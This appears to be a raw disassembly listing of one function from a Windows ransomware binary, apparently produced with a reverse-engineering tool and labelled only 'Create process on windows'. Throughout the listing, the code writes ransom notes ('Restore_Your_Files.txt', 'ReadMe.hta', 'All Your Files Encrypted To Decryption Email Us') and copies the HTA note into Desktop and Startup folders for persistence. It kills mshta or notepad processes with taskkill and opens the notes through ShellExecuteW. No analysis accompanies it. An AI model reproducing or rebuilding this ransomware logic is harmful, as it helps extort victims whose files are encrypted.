Function at 0x41fd50
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d8a7c
mov eax, dword fs:[0]
push eax
sub esp, 0x718
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x8003
mov dword [ebp - 0x6c4], 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push str.:UsersReadMe.hta
mov edx, 0x520088
lea ecx, [ebp - 0x70]
call fcn.0043a350
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x70]
cmp dword [ebp - 0x5c], 8
mov eax, dword [ebp - 0x60]
cmovae ecx, dword [ebp - 0x70]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x70]
cmovae ecx, dword [ebp - 0x70]
push eax
push ecx
lea ecx, [ebp - 0x6dc]
call fcn.0043ace0
mov byte [ebp - 4], 1
mov ecx, 1
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0x6c0], ecx
mov dword [ebp - 0x6c4], ecx
jb 0x41fded
mov eax, dword [eax]
push 0x4fafb4
push eax
call fcn.004b1f10
add esp, 8
test eax, eax
jne 0x41fe49
cmp dword [ebp - 0x5c], 8
lea ecx, [ebp - 0x70]
mov eax, dword [ebp - 0x60]
cmovae ecx, dword [ebp - 0x70]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x70]
cmovae ecx, dword [ebp - 0x70]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x6bc]
call fcn.0043ace0
mov dword [ebp - 0x6c0], 3
cmp dword [eax + 0x14], 0x10
jb 0x41fe37
mov eax, dword [eax]
push 0x4fafb4
push eax
call fcn.004b1f10
add esp, 8
test eax, eax
je 0x41fe5b
push eax
call fcn.004b25ba
add esp, 4
mov byte [ebp - 0x6a1], 1
jmp 0x41fe62
mov byte [ebp - 0x6a1], 0
test byte [ebp - 0x6c0], 2
je 0x41fec0
mov edx, dword [ebp - 0x6a8]
cmp edx, 0x10
jb 0x41fea5
mov ecx, dword [ebp - 0x6bc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41fe9b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421516
push edx
push ecx
call fcn.0049143c
add esp, 8
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 0xf
mov byte [ebp - 0x6bc], 0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x6c8]
cmp edx, 0x10
jb 0x41ff01
mov ecx, dword [ebp - 0x6dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41fef7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421516
push edx
push ecx
call fcn.0049143c
add esp, 8
movzx eax, byte [0x5200ef]
mov ecx, 1
cmp byte [ebp - 0x6a1], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xd0], xmm0
cmovne eax, ecx
mov ecx, 4
movq qword [ebp - 0xc0], xmm0
mov byte [0x5200ef], al
mov eax, dword [0x520134]
test eax, eax
cmove eax, ecx
lea ecx, [ebp - 0xd0]
mov dword [0x520134], eax
call fcn.00405130
mov byte [ebp - 4], 2
call fcn.0041f020
cmp byte [0x5200ea], 1
jne 0x41ff6d
mov cl, 1
call fcn.0041fb80
xor cl, cl
call fcn.0041fb80
mov edi, 0x51fdd0
sub esp, 0x34
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6c4], esp
push edi
call fcn.00431aa0
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
push edi
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.0043b2a0
add esp, 0x30
lea ecx, [ebp - 0xd0]
call fcn.0043b480
add edi, 0x18
cmp edi, 0x520040
jl 0x41ff72
lea ecx, [ebp - 0xd0]
call fcn.00405330
push str.:UsersRestore_Your_Files.txt
mov edx, 0x520088
lea ecx, [ebp - 0x58]
call fcn.0043a350
push 0xb8
lea eax, [ebp - 0x478]
mov byte [ebp - 4], 4
push 0
push eax
call fcn.004a9190
add esp, 8
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x478]
push 0x20
push eax
call fcn.00434310
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x478]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x46c], 6
je 0x4200b4
push 0xb0
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x180]
call fcn.00432680
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x180]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f9e0
add esp, 4
lea ecx, [ebp - 0x17c]
call fcn.00437c60
test eax, eax
jne 0x4200a5
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x180]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 5
call fcn.0040ad70
cmp dword [ebp - 0x41c], 0
lea esi, [ebp - 0x468]
jne 0x4200c7
xor esi, esi
jmp 0x4200ee
lea ecx, [ebp - 0x468]
call fcn.00438140
push dword [ebp - 0x41c]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b25ba
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x468]
call fcn.00438210
test esi, esi
jne 0x42012b
mov eax, dword [ebp - 0x478]
lea ecx, [ebp - 0x478]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Restore_Your_Files.txt
mov edx, 0x520088
lea ecx, [ebp - 0x88]
call fcn.0043a350
push 0xb8
lea eax, [ebp - 0x3c0]
mov byte [ebp - 4], 7
push 0
push eax
call fcn.004a9190
add esp, 8
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x3c0]
push 0x20
push eax
call fcn.00434310
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x3b4], 6
je 0x42021c
push 0xb0
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x180]
call fcn.00432680
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x180]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f9e0
add esp, 4
lea ecx, [ebp - 0x17c]
call fcn.00437c60
test eax, eax
jne 0x42020d
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x180]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 8
call fcn.0040ad70
cmp dword [ebp - 0x364], 0
lea esi, [ebp - 0x3b0]
jne 0x42022f
xor esi, esi
jmp 0x420256
lea ecx, [ebp - 0x3b0]
call fcn.00438140
push dword [ebp - 0x364]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b25ba
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x3b0]
call fcn.00438210
test esi, esi
jne 0x420293
mov eax, dword [ebp - 0x3c0]
lea ecx, [ebp - 0x3c0]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push 0xc0
lea eax, [ebp - 0x250]
push 0
push eax
call fcn.004a9190
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x724]
call fcn.0043a350
add esp, 0x10
mov byte [ebp - 4], 0xa
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.004388e0
mov dword [ebp - 0x6fc], 0
xor ecx, ecx
mov dword [ebp - 0x6f8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x70c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x49
push str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupReadMe.hta
lea ecx, [ebp - 0x70c]
mov byte [ebp - 4], 0xb
call fcn.004388e0
mov dword [ebp - 0x6e4], 0
xor ecx, ecx
mov dword [ebp - 0x6e0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
sub esp, 0xc
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x6f4]
lea ecx, [ebp - 0x250]
push eax
call fcn.004324e0
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x6e0]
cmp edx, 8
jb 0x4203d2
mov ecx, dword [ebp - 0x6f4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4203c8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42151b
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 7
mov word [ebp - 0x6f4], ax
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x6f8]
cmp edx, 8
jb 0x420433
mov ecx, dword [ebp - 0x70c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420429
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42151b
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6fc], 0
mov dword [ebp - 0x6f8], 7
mov word [ebp - 0x70c], ax
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x710]
cmp edx, 8
jb 0x420494
mov ecx, dword [ebp - 0x724]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42048a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42151b
push edx
push ecx
call fcn.0049143c
add esp, 8
push dword [0x51fd28]
xor eax, eax
mov dword [ebp - 0x714], 0
cmp dword [0x51fd2c], 8
lea ecx, [ebp - 0x240]
mov edx, 0x51fd18
mov dword [ebp - 0x710], 7
cmovae edx, dword [0x51fd18]
mov word [ebp - 0x724], ax
call fcn.0043f9e0
add esp, 4
lea ecx, [ebp - 0x238]
call fcn.00437c60
test eax, eax
jne 0x420512
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 0x250]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x6dc]
call fcn.0043a350
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.004388e0
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x13
push str.DesktopReadMe.hta
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x12
call fcn.004388e0
mov dword [ebp - 0x30], 0
xor ecx, ecx
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x6a8]
cmp edx, 8
jb 0x420619
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42060f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421520
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x6c8]
cmp edx, 8
jb 0x42067a
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420670
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421520
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6cc], 0
push 0xb8
push eax
mov word [ebp - 0x6dc], ax
lea eax, [ebp - 0x6a0]
push eax
mov dword [ebp - 0x6c8], 7
call fcn.004a9190
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x6a0]
call fcn.00432790
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x6a0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x694], 6
je 0x420769
push 0xc0
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x190]
call fcn.004324e0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x180]
cmp dword [0x51fd2c], 8
mov edx, 0x51fd18
push dword [0x51fd28]
cmovae edx, dword [0x51fd18]
call fcn.0043f9e0
add esp, 4
lea ecx, [ebp - 0x178]
call fcn.00437c60
test eax, eax
jne 0x42075a
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x16
call fcn.00421540
lea ecx, [ebp - 0x690]
call fcn.00437c60
test eax, eax
jne 0x4207a3
mov eax, dword [ebp - 0x6a0]
lea ecx, [ebp - 0x6a0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0x6dc]
call fcn.0043a350
add esp, 4
mov byte [ebp - 4], 0x18
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.004388e0
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x13
push str.DesktopReadMe.hta
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x19
call fcn.004388e0
mov dword [ebp - 0x18], 0
xor ecx, ecx
mov dword [ebp - 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x6a8]
cmp edx, 8
jb 0x4208aa
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4208a0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421525
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x6c8]
cmp edx, 8
jb 0x42090b
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420901
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421525
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6cc], 0
push 0xb8
push eax
mov word [ebp - 0x6dc], ax
lea eax, [ebp - 0x5e8]
push eax
mov dword [ebp - 0x6c8], 7
call fcn.004a9190
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00432790
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x5e8]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x5dc], 6
je 0x4209fa
push 0xc0
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x190]
call fcn.004324e0
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x180]
cmp dword [0x51fd2c], 8
mov edx, 0x51fd18
push dword [0x51fd28]
cmovae edx, dword [0x51fd18]
call fcn.0043f9e0
add esp, 4
lea ecx, [ebp - 0x178]
call fcn.00437c60
test eax, eax
jne 0x4209eb
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x1d
call fcn.00421540
lea ecx, [ebp - 0x5d8]
call fcn.00437c60
test eax, eax
jne 0x420a34
mov eax, dword [ebp - 0x5e8]
lea ecx, [ebp - 0x5e8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0x6dc]
call fcn.0043a350
add esp, 4
mov byte [ebp - 4], 0x1f
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.004388e0
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x27
push str.Start_MenuProgramsStartupReadMe.hta
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x20
call fcn.004388e0
mov dword [ebp - 0x90], 0
xor ecx, ecx
mov dword [ebp - 0x8c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x6a8]
cmp edx, 8
jb 0x420b47
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420b3d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42152a
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x6c8]
cmp edx, 8
jb 0x420ba8
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420b9e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42152a
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x6cc], 0
push 0xb8
push eax
mov word [ebp - 0x6dc], ax
lea eax, [ebp - 0x530]
push eax
mov dword [ebp - 0x6c8], 7
call fcn.004a9190
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x530]
call fcn.00432790
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0x530]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x524], 6
je 0x420c9d
push 0xc0
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x190]
call fcn.004324e0
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x180]
cmp dword [0x51fd2c], 8
mov edx, 0x51fd18
push dword [0x51fd28]
cmovae edx, dword [0x51fd18]
call fcn.0043f9e0
add esp, 4
lea ecx, [ebp - 0x178]
call fcn.00437c60
test eax, eax
jne 0x420c8e
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x24
call fcn.00421540
lea ecx, [ebp - 0x520]
call fcn.00437c60
test eax, eax
jne 0x420cd7
mov eax, dword [ebp - 0x530]
lea ecx, [ebp - 0x530]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
cmp byte [0x5200f0], 1
jne 0x420d18
push str.taskkill__im_mshta.exe__f
call fcn.004b5a92
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x28]
add esp, 4
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push 0xa
push 0
push 0
push eax
push 0
push 0
call esi
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
jmp 0x420d54
push str.taskkill__im_notepad.exe__f
call fcn.004b5a92
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x88]
add esp, 4
cmp dword [ebp - 0x74], 8
cmovae eax, dword [ebp - 0x88]
push 0xa
push 0
push 0
push eax
push 0
push 0
call esi
cmp dword [ebp - 0x44], 8
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push 0xa
push 0
push 0
push eax
push 0
push 0
call esi
push str.:UsersReadMe.hta
mov edx, 0x520088
lea ecx, [ebp - 0xb8]
call fcn.0043a350
push 0xb8
lea eax, [ebp - 0x308]
mov byte [ebp - 4], 0x26
push 0
push eax
call fcn.004a9190
add esp, 8
lea eax, [ebp - 0xb8]
lea ecx, [ebp - 0x308]
push 0x20
push eax
call fcn.00434310
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x308]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x2fc], 6
je 0x4210a9
cmp dword [ebp - 0x2ac], 0
lea esi, [ebp - 0x2f8]
jne 0x420dd2
xor esi, esi
jmp 0x420df9
lea ecx, [ebp - 0x2f8]
call fcn.00438140
push dword [ebp - 0x2ac]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b25ba
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x2f8]
call fcn.00438210
test esi, esi
jne 0x420e36
mov eax, dword [ebp - 0x308]
lea ecx, [ebp - 0x308]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push 0xb0
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x180]
call fcn.00432680
push 0x51fc30
mov edx, str.All_Your_Files_Encrypted_To_Decryption_Email_Us_:
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x6dc]
call fcn.0043a5f0
add esp, 4
push 4
push str._or
mov ecx, eax
mov byte [ebp - 4], 0x29
call fcn.004388e0
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x6bc]
cmp dword [0x51fc2c], 8
mov eax, 0x51fc18
push dword [0x51fc28]
cmovae eax, dword [0x51fc18]
push eax
call fcn.004388e0
mov dword [ebp - 0x6e4], 0
xor ecx, ecx
mov dword [ebp - 0x6e0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x2b
lea edx, [ebp - 0x6f4]
cmp dword [ebp - 0x6e0], 8
lea ecx, [ebp - 0x180]
push dword [ebp - 0x6e4]
cmovae edx, dword [ebp - 0x6f4]
call fcn.0043f9e0
mov byte [ebp - 4], 0x2a
add esp, 4
mov edx, dword [ebp - 0x6e0]
cmp edx, 8
jb 0x420f9e
mov ecx, dword [ebp - 0x6f4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420f94
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42152f
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x6a8]
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 7
mov word [ebp - 0x6f4], ax
cmp edx, 8
jb 0x420fff
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420ff5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42152f
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x28
mov edx, dword [ebp - 0x6c8]
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
cmp edx, 8
jb 0x421060
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421056
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42152f
push edx
push ecx
call fcn.0049143c
add esp, 8
lea ecx, [ebp - 0x17c]
call fcn.00437c60
test eax, eax
jne 0x42109a
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x180]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 0x27
call fcn.0040ad70
cmp dword [ebp - 0x2ac], 0
lea esi, [ebp - 0x2f8]
jne 0x4210bc
xor esi, esi
jmp 0x4210e3
lea ecx, [ebp - 0x2f8]
call fcn.00438140
push dword [ebp - 0x2ac]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b25ba
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x2f8]
call fcn.00438210
test esi, esi
jne 0x421120
mov eax, dword [ebp - 0x308]
lea ecx, [ebp - 0x308]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
mov eax, dword [ebp - 0x308]
mov eax, dword [eax + 4]
